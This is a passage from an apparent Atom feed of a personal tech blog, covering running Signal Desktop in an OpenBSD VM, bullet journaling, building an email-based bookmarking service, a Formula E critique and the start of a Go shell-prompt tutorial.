to&#xA;&lt;code&gt;dist-upgrade&lt;/code&gt; from 18.04 without much trouble. Once you have the ISO&#xA;downloaded somewhere, edit &lt;code&gt;/etc/vm.conf&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-conf&#34;&gt;vm &amp;quot;ubuntu&amp;quot; {&#xA; memory 2G &#xA; cdrom &amp;quot;/path/to/mini.iso&amp;quot;&#xA; disk &amp;quot;/path/to/ubuntu.img&amp;quot;&#xA; interfaces 1&#xA; local interface tap&#xA; owner icy # this is your user&#xA; disable&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Start and (optionally) enable &lt;a href=&#34;https://man.openbsd.org/vmd&#34; rel=&#34;nofollow&#34;&gt;vmd(8)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ doas rcctl -f start vmd&#xA;$ doas rcctl enable vmd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can now boot into the VM, and interface via the serial console. This can be&#xA;done using &lt;a href=&#34;https://man.openbsd.org/vmctl&#34; rel=&#34;nofollow&#34;&gt;vmctl(8)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ vmctl start -c ubuntu # note -c for console&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hit Tab on the bootloader screen to edit the kernel parameters. We want to&#xA;force it to use the serial console for installation. This is done by adding&#xA;&lt;code&gt;console=ttyS0,115200&lt;/code&gt; on the line shown. If there&amp;rsquo;s a &lt;code&gt;quiet&lt;/code&gt;, delete that and&#xA;add the above. You can then continue on with the installation&amp;mdash;install&#xA;OpenSSH, add your keys etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed, remove the &lt;code&gt;cdrom&lt;/code&gt; line from your &lt;code&gt;vm.conf&lt;/code&gt; and start the VM&#xA;without the serial console.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ vmctl start ubuntu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2 id=&#34;installing-and-running-signal-desktop&#34;&gt;installing and running Signal Desktop&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;SSH into the VM with X11 forwarding enabled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ ssh -Y myvmhost&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Install &lt;code&gt;signal-desktop&lt;/code&gt;, following the instructions at&#xA;&lt;a href=&#34;https://signal.org/download&#34; rel=&#34;nofollow&#34;&gt;https://signal.org/download&lt;/a&gt;. You can now run the &lt;code&gt;signal-desktop&lt;/code&gt;&#xA;command from the VM&amp;rsquo;s shell. As long as it spawns a GUI, the multitude&#xA;of warnings and errors it produces can ge ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a helper script to launch Signal from your host machine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;#!/bin/sh&#xA;# signal: launch signal-desktop via a vm (vmm(4))&#xA;&#xA;status=&amp;quot;$(vmctl status ubuntu | grep running)&amp;quot;&#xA;[[ &amp;quot;$status&amp;quot; == &amp;quot;&amp;quot; ]] &amp;amp;&amp;amp; {&#xA; vmctl start ubuntu&#xA; sleep 10&#xA;}&#xA;&#xA;ssh -Y pantwo signal-desktop &amp;amp;&amp;gt; /dev/null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/HwF45.png&#34; alt=&#34;signal desktop&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;caveats&#34;&gt;caveats&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Files to be shared will have to be transferred to the VM&amp;rsquo;s filesystem&#xA;for upload. Images/text can be pasted into the text-box from the&#xA;clipboard, however.&lt;/li&gt;&#xA;&lt;li&gt;UI elements are slightly laggy but text input is fast enough.&lt;/li&gt;&#xA;&lt;li&gt;No notifications, but I think that&amp;rsquo;s a feature.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</summary>
</entry>
<entry>
<title>The quest to optimize productivity</title>
<updated>2021-11-04T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-11-04:blog/bujo</id>
<link href="https://icyphox.sh/blog/bujo"></link>
<summary type="html">&lt;h2&gt;This blog is devolving into a techbro cliché&lt;/h2&gt;&#xA;&lt;p&gt;Us folks in tech have this general obsession with productivity. It&amp;rsquo;s all&#xA;about getting the workflow &lt;em&gt;just right&lt;/em&gt;. Or at least, that&amp;rsquo;s the goal.&#xA;Heck, there are entire companies built around optimizing productivity in&#xA;specific workflows&amp;mdash;email, notes, tasks, etc. Suffice to say, there&amp;rsquo;s&#xA;a lot of activity in this space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve heard reports of varying degrees of success with these tools, from&#xA;&amp;ldquo;OMG it like, totally changed how I take notes!&amp;rdquo;, to &amp;ldquo;I&amp;rsquo;m not sure it&amp;rsquo;s&#xA;worth paying $30 per month for a mail client&amp;rdquo; (yeah, you know the&#xA;one)&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;. However, I will never use these tools. Primarily because I&#xA;don&amp;rsquo;t trust them&amp;mdash;I don&amp;rsquo;t trust them with my data; more importantly, I&#xA;don&amp;rsquo;t trust them to exist long enough before they decide to thank me for&#xA;their incredible journey and &amp;ldquo;sunset&amp;rdquo; their product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I wasn&amp;rsquo;t entirely opposed to digital solutions. I tried&#xA;a method called the OBTF, or the One Big Text File. It&amp;rsquo;s what it says on&#xA;the tin: a single text file to manage everything&amp;mdash;tasks, email,&#xA;meetings, notes, habit tracking, etc. Its effectiveness relies on your&#xA;text editor&amp;rsquo;s ability to search for things. I even came up with my own&#xA;&amp;ldquo;syntax&amp;rdquo; to help accelerate finding relevant bits. It looked like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wed, 03 nov&#xA;&#xA;some task here // DONE&#xA;another task here&#xA;a note here&#xA;meet foo @ 12:30 // CANCELLED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don&amp;rsquo;t exactly recall why I stopped doing it, but I did. Maybe because&#xA;I tried to do way too many things all at once. It also meant I needed to&#xA;be at my computer to update tasks&amp;mdash;some of which were offline/IRL.&#xA;Yeah, you can see where this is going. You probably guessed it from the&#xA;post slug. That&amp;rsquo;s right&amp;mdash;bullet journaling. Well, sort of&amp;mdash;let me&#xA;explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&#34;https://youtu.be/fm15cmYU0IM&#34; rel=&#34;nofollow&#34;&gt;bullet journal method&lt;/a&gt; is a somewhat&#xA;involved process. I recommend watching the video since I&amp;rsquo;m going to skip&#xA;explaining how bullet journaling works. The method I use draws&#xA;inspiration from bullet journaling&amp;mdash;but just mostly the task symbols&#xA;and daily/weekly logs. These are the symbols I use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;&lt;/code&gt; is a new task&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;×&lt;/code&gt; is a completed task&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;gt;&lt;/code&gt; is a task that&amp;rsquo;s been carried forward&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;~strikethrough~&lt;/code&gt; is a cancelled task&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-&lt;/code&gt; represents a note&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And somewhat less commonly, &lt;code&gt;&lt;/code&gt; (a circled dot) to scribble a small note&#xA;pertaining to that task, i.e. reason for cancellation, delegation, etc.&#xA;Tasks are sometimes broken down into further subtasks represented as a&#xA;checkbox &lt;code&gt;&lt;/code&gt;. Ticking off a checkbox feels great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tasks are grouped under a weekly list, running from Monday to Sunday. I&#xA;had previously done daily lists, but that&amp;hellip; didn&amp;rsquo;t really work out.&#xA;Here&amp;rsquo;s what happened:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mon, 01 nov&#xA;&amp;gt; long task here&#xA;× something else&#xA;&#xA;tue, 02 nov&#xA;&amp;gt; long task here&#xA;&#xA;wed, 03 nov&#xA;&amp;gt; long task here&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the problem? Most often, my tasks tend to span an entire week. While&#xA;I could theoretically break it down into subtasks, stuff like &amp;ldquo;Write an&#xA;RFC for Foo Service&amp;rdquo; are just that. It&amp;rsquo;s a big task, and I can&amp;rsquo;t really&#xA;break it down. Hence, the running weekly log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can&amp;rsquo;t go without posting what it actually looks like in my notebook;&#xA;so here, have a FOIA-declassified-looking picture of my bullet journal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/QzrdK.jpeg&#34; alt=&#34;bullet journal&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was when I first attempted the weekly log. Evidently, I struggled&#xA;to compute dates accurately. And yes, &amp;ldquo;rice acme&amp;rdquo; was a task&amp;mdash;one&#xA;that I promptly completed, I&amp;rsquo;ll have you know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a pencil to write. There&amp;rsquo;s no real reason for it, but I started&#xA;the book with a pencil and I plan to continue with it until I finsh this&#xA;notebook&amp;mdash;there&amp;rsquo;s still about half of it left. I plan to cop a dotgrid&#xA;notebook for my next one, and start using a pen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/0psb8.jpeg&#34; alt=&#34;notebook with sticker&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I was sceptical. I didn&amp;rsquo;t think I&amp;rsquo;d stick to it. But hey, looks&#xA;like I did. I&amp;rsquo;ve been using my bullet journal spinoff method to great&#xA;success for the past 6-odd months. Have I become more productive? I&#xA;don&amp;rsquo;t know, but I can confidently state that my head has become&#xA;&amp;ldquo;lighter&amp;rdquo;. I no longer have to &lt;em&gt;remember&lt;/em&gt; tasks; I can simply offload&#xA;them to my journal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the key to making it work was the realization that it&amp;rsquo;s not&#xA;&amp;ldquo;perfect&amp;rdquo;. I put perfect in quotes because I had this notion of an&#xA;all-in-one, flawless productivity tool that&amp;rsquo;ll take care of everything,&#xA;from anywhere. I then embraced the fact that some tasks don&amp;rsquo;t really&#xA;need noting down and it&amp;rsquo;s ok to &lt;em&gt;not follow the rules&lt;/em&gt;. I guess what I&amp;rsquo;m&#xA;trying to say is&amp;mdash;don&amp;rsquo;t force it; use the journal loosely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No self-help-productivity-bullshit-post is complete without a list of&#xA;tips, so here it is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make it your own. Don&amp;rsquo;t attempt to shoehorn someone else&amp;rsquo;s solution.&lt;/li&gt;&#xA;&lt;li&gt;Don&amp;rsquo;t try to manage everything&amp;mdash;that hardly ever works.&lt;/li&gt;&#xA;&lt;li&gt;Don&amp;rsquo;t over optimize. Task states don&amp;rsquo;t need 20 different symbols. Keep&#xA;it simple.&lt;/li&gt;&#xA;&lt;li&gt;It doesn&amp;rsquo;t have to be an art project&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;. I know mine isn&amp;rsquo;t. Keep it&#xA;functional.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Okay, this self-help-productivity-bullshit-post is now complete.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;In case you didn&amp;rsquo;t, I&amp;rsquo;m talking about Superhuman. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&lt;p&gt;I&amp;rsquo;m looking at you,&#xA;&lt;a href=&#34;https://old.reddit.com/r/bulletjournal&#34; rel=&#34;nofollow&#34;&gt;r/bulletjournal&lt;/a&gt;.&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>How I built forlater.email</title>
<updated>2021-09-25T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-09-25:blog/building-forlater</id>
<link href="https://icyphox.sh/blog/building-forlater"></link>
<summary type="html">&lt;h2&gt;A technical breakdown of my first big side-project&lt;/h2&gt;&#xA;&lt;p&gt;Ever since I began browsing sites like Hacker News and Lobsters, coming&#xA;across new and exciting links to check out every day, I found it hard to&#xA;keep up. On most days, I just didn&amp;rsquo;t. And that&amp;rsquo;s fine&amp;mdash;&lt;a href=&#34;/blog/dont-news&#34;&gt;good,&#xA;even&lt;/a&gt;. But oftentimes, I&amp;rsquo;d come across a genuinely&#xA;interesting link but no time to actually read it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I began using Pocket. It was alright&amp;mdash;the article view was very good;&#xA;but it stopped there. I didn&amp;rsquo;t like nor use the other junk baked into&#xA;the app: discover, following/friends thing, etc. It&amp;rsquo;s also proprietary,&#xA;and that irked me&amp;mdash;more so than the other &amp;ldquo;features&amp;rdquo;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, somewhat inspired by rss2email, I began building&#xA;&lt;a href=&#34;https://forlater.email&#34; rel=&#34;nofollow&#34;&gt;forlater.email&lt;/a&gt;&amp;mdash;a bookmarking/read-later&#xA;service that works via email. Email is the perfect tool for this&#xA;use-case: works offline; you can organize it however you like; you own&#xA;your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/JNAn4.png&#34; alt=&#34;forlater arch&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pictured above is how forlater works. Each component is explained below.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;opensmtpd&#34;&gt;OpenSMTPD&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Mail containing links to be saved arrive here. OpenSMTPD is beautiful&#xA;software, and its configuration is stupid simple&#xA;(&lt;a href=&#34;https://man.openbsd.org/smtpd.conf&#34; rel=&#34;nofollow&#34;&gt;smtpd.conf(5)&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-conf&#34;&gt;table blocklist file:/etc/smtpd/blocklist&#xA;&#xA;action webhook mda &amp;quot;/home/icy/forlater/mdawh/mdawh&amp;quot;&#xA;match mail-from &amp;lt;blocklist&amp;gt; for any reject&#xA;match from any for rcpt-to &amp;quot;save@forlater.email&amp;quot; action webhook&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;filter&lt;/code&gt; and &lt;code&gt;listen&lt;/code&gt; directives have been snipped for brevity. The&#xA;rest, in essence, simply sends all mail to &lt;code&gt;save@forlater.email&lt;/code&gt; to an&#xA;MDA program, via stdin. Any mail from an address in the blocklist file&#xA;get rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://rspamd.com&#34; rel=&#34;nofollow&#34;&gt;rspamd&lt;/a&gt; is used to prevent spam.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;mdawh&#34;&gt;mdawh&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://git.icyphox.sh/forlater/mdawh&#34; rel=&#34;nofollow&#34;&gt;mdawh&lt;/a&gt;, or the MDA webhook tool.&#xA;A small Go program that processes mail coming from stdin and generates a&#xA;JSON payload that looks like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{&#xA; &amp;quot;from&amp;quot;: &amp;quot;foo@bar.com&amp;quot;,&#xA; &amp;quot;date&amp;quot;: &amp;quot;Fri, 1 Jan 2010 00:00:00 UTC&amp;quot;,&#xA; &amp;quot;replyto&amp;quot;: &amp;quot;...&amp;quot;,&#xA; &amp;quot;body&amp;quot;: &amp;quot;...&amp;quot;,&#xA; &amp;quot;parts&amp;quot;: {&#xA; &amp;quot;text/plain&amp;quot;: &amp;quot;...&amp;quot;,&#xA; &amp;quot;text/html&amp;quot;: &amp;quot;...&amp;quot;,&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is POSTed to a configured HTTP endpoint&amp;mdash;which in this case, is&#xA;navani.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;navani&#34;&gt;navani&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://git.icyphox.sh/forlater/navani&#34; rel=&#34;nofollow&#34;&gt;navani&lt;/a&gt; is forlater&amp;rsquo;s primary&#xA;mail processing service&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;. Listens for webhooks from mdawh, processes&#xA;them, and sends mail using a configured SMTP server. URLs are cached in&#xA;Redis along with the HTML content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the readable HTML,&#xA;&lt;a href=&#34;https://github.com/go-shiori/go-readability&#34; rel=&#34;nofollow&#34;&gt;go-readability&lt;/a&gt; is used;&#xA;the output of which is rendered into a minimal &lt;a href=&#34;https://git.icyphox.sh/forlater/navani/tree/templates/html.tpl&#34; rel=&#34;nofollow&#34;&gt;HTML email&#xA;template&lt;/a&gt;&#xA;-- something that I never want to write again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plaintext part is currently generated using &lt;code&gt;lynx -image_links -dump&#xA;-stdin&lt;/code&gt;. The &lt;code&gt;-image_links&lt;/code&gt; flag is handy because it generates footnote&#xA;links for images as well, instead of simply ignoring images altogether.&#xA;I plan to rewrite this; possibly using a blend of HTML-to-plaintext&#xA;libraries and handwritten rules.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;future-improvements&#34;&gt;future improvements&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I plan to implement some kind of &lt;code&gt;settings@&lt;/code&gt; address to configure and&#xA;store user settings (dark theme? fonts?). However, this introduces state&#xA;in an otherwise mostly stateless system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing I&amp;rsquo;ve been thinking of is making your own newsletter of&#xA;sorts. For example: save a bunch of links during the week, and have them&#xA;all delivered over the weekend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither of these &amp;ldquo;features&amp;rdquo; are confirmed to happen, primarily because&#xA;forlater is feature-complete for my use. That said, I&amp;rsquo;m happy to&#xA;consider any improvements or suggestions that you might have&amp;mdash;please&#xA;&lt;a href=&#34;mailto:x@icyphox.sh&#34; rel=&#34;nofollow&#34;&gt;email me&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, thanks to everyone who tossed a few bucks my way&amp;mdash;mighty kind&#xA;of you.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;Named after &lt;a href=&#34;https://coppermind.net/wiki/Navani_Kholin&#34; rel=&#34;nofollow&#34;&gt;Navani Kholin&lt;/a&gt;. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Launching forlater.email</title>
<updated>2021-09-17T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-09-17:blog/forlater</id>
<link href="https://icyphox.sh/blog/forlater"></link>
<summary type="html">&lt;h2&gt;An email-based bookmarking service&lt;/h2&gt;&#xA;&lt;p&gt;This is a shill post. I&amp;rsquo;m launching my new side-project:&#xA;&lt;a href=&#34;https://forlater.email&#34; rel=&#34;nofollow&#34;&gt;https://forlater.email&lt;/a&gt;. It&amp;rsquo;s an email-based bookmarking service&amp;mdash;you&#xA;send an email to &lt;code&gt;save@forlater.email&lt;/code&gt;, get a readable, clutter-free&#xA;version of it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ll write a more technical post on how I built it; this weekend&#xA;perhaps. Until then, go try it!&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>I can&#39;t take Formula E seriously</title>
<updated>2021-08-16T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-08-16:blog/formula-e</id>
<link href="https://icyphox.sh/blog/formula-e"></link>
<summary type="html">&lt;h2&gt;Toy cars racing in parking lots&lt;/h2&gt;&#xA;&lt;p&gt;For those unaware, &lt;a href=&#34;https://en.wikipedia.org/wiki/Formula_E&#34; rel=&#34;nofollow&#34;&gt;Formula E&lt;/a&gt;,&#xA;or rather, the ABB FIA Formula E World Championship&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; is the only&#xA;fully electric open-wheel racing sanctioned by the FIA. The first season&#xA;was in 2014 - 2015. 7 years later, it&amp;rsquo;s just as bad as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Formula E was supposed to be this new, revolutionary motorsport set to&#xA;eventually replace Formula 1&amp;mdash;or at the very least, compete alongside.&#xA;It was supposed to be where teams could experiment; build better, more&#xA;eco-friendly tech that can eventually find its way into road cars.&#xA;Except&amp;hellip;the FIA made it a spec series.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means all cars are basically identical&amp;mdash;conforming to a&#xA;predefined spec. While there&amp;rsquo;s nothing wrong with spec series racing&amp;mdash;Formula 2, IndyCar, etc. are still incredibly exciting&amp;mdash;it&amp;rsquo;s just not&#xA;something you want in something like Formula E, where technical&#xA;development is key. Further, the whole emphasis on &amp;ldquo;road relevancy&amp;rdquo; is&#xA;kind of a meme when there&amp;rsquo;s no engineering freedom given to&#xA;constructors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No bother, at least the racing should be fun, right? They travel to cool&#xA;cities and race on streets! Yeah&amp;hellip;not really. Thing is, FE cars are&#xA;slow. And to compensate this, they made tracks really narrow, with&#xA;stupidly high barriers. There&amp;rsquo;s no point in going to cool cities when&#xA;you can&amp;rsquo;t really see much of it. All tracks look the same: utterly&#xA;soulless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it doesn&amp;rsquo;t end there. Formula E is gimmicky as hell. Like F1&amp;rsquo;s&#xA;DRS&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;, FE&amp;rsquo;s got &amp;ldquo;Attack mode&amp;rdquo;. Essentially, drivers recieve extra&#xA;power by driving through a part of the track that&amp;rsquo;s off the racing line.&#xA;This is like, some NFS tier shit. But OK, I&amp;rsquo;ll give it a pass&amp;mdash;it&amp;rsquo;s&#xA;cringe, but it does allow for some good overtaking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;ldquo;Fanboost&amp;rdquo;, however&amp;hellip;Hoo boy. Basically, fans get to vote for their&#xA;favourite drivers via social media, and the five drivers that win the&#xA;vote each recieve extra power during the race. Yup. You read that right.&#xA;They made a World Championship racing series a social media popularity&#xA;contest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/VOodw.png&#34; alt=&#34;formula e broadcast&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My last gripe is with the broadcast. It&amp;rsquo;s so bad! They really should&#xA;lose the gamer graphics. The driver list on the left is not color coded&#xA;making it really hard to read. You have no idea who&amp;rsquo;s who if you&amp;rsquo;re new.&#xA;And try and make the circuits look a little more interesting! I honestly&#xA;couldn&amp;rsquo;t tell you the difference between, say, the London and Berlin&#xA;circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All things said, I will still watch Formula E&amp;mdash;at least, the&#xA;highlights. Watching bumper cars is somewhat fun when there&amp;rsquo;s no F1&#xA;going on.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;p&gt;Which just ended, as of August 2021. It was also the first World&#xA;Championship; the ones before weren&amp;rsquo;t.&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/Drag_reduction_system&#34; rel=&#34;nofollow&#34;&gt;https://en.wikipedia.org/wiki/Drag_reduction_system&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Writing a shell prompt in Go</title>
<updated>2021-08-12T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-08-12:blog/go-shell-prompt</id>
<link href="https://icyphox.sh/blog/go-shell-prompt"></link>
<summary type="html">&lt;h2&gt;Kinda faster than bash&lt;/h2&gt;&#xA;&lt;p&gt;For context, my bash prompt was previously &lt;a href=&#34;https://git.icyphox.sh/dotfiles/tree/bash/.bashrc.d/99-prompt.bash?id=d7b391845abc7e97f2b1b96c34b4b1789b2ab541&#34; rel=&#34;nofollow&#34;&gt;written in, well,&#xA;bash&lt;/a&gt;.&#xA;It used to call out to &lt;code&gt;git&lt;/code&gt; for getting the branch and worktree status&#xA;info. Parsing the output of &lt;code&gt;git status&lt;/code&gt; and all that. It was ok, but I&#xA;wanted something &amp;hellip; cleaner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I chose Go, despite having written&#xA;&lt;a href=&#34;https://github.com/icyphox/nicy&#34; rel=&#34;nofollow&#34;&gt;nicy&lt;/a&gt; in Nim&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;; I&amp;rsquo;m in a Go-phase right&#xA;now, just like I was in a Nim-phase back in 2018. Anyway, let&amp;rsquo;s cut to&#xA;the chase.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-basics&#34;&gt;the basics&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The current working directory is the bare minimum in a prompt. I prefer&#xA;having it shortened; for example: &lt;code&gt;/home/icy/docs/books/foo.epub&lt;/code&gt;&#xA;&lt;code&gt;~/d/b/foo.epub&lt;/code&gt;. Let&amp;rsquo;s write a function &lt;code&gt;trimPath&lt;/code&gt; to do this for us:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// Truncates the current working directory:&#xA;// /home/icy/foo/bar -&amp;gt; ~/f/bar&#xA;func trimPath(cwd, home string) string {&#xA;&#x9;var path string&#xA;&#x9;if strings.HasPrefix(cwd, home) {&#xA;&#x9;&#x9;path = &amp;quot;~&amp;quot; + strings.TrimPrefix(cwd, home)&#xA;&#x9;} else {&#xA;&#x9;&#x9;// If path doesn&#39;t contain $HOME, return the&#xA;&#x9;&#x9;// entire path as is.&#xA;&#x9;&#x9;path = cwd&#xA;&#x9;&#x9;return path&#xA;&#x9;}&#xA;&#x9;items := strings.Split(path, &amp;quot;/&amp;quot;)&#xA;&#x9;truncItems := []string{}&#xA;&#x9;for i, item := range items {&#xA;&#x9;&#x9;if i == (len(items) - 1) {&#xA;&#x9;&#x9;&#x9;truncItems = append(truncItems, item)&#xA;&#x9;&#x9;&#x9;break&#xA;&#x9;&#x9;}&#xA;&#x9;&#x9;truncItems = append(truncItems, item[:1])&#xA;&#x9;}&#xA;&#x9;return filepath.Join(truncItems...)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;trimPath&lt;/code&gt; takes two args: the current working directory 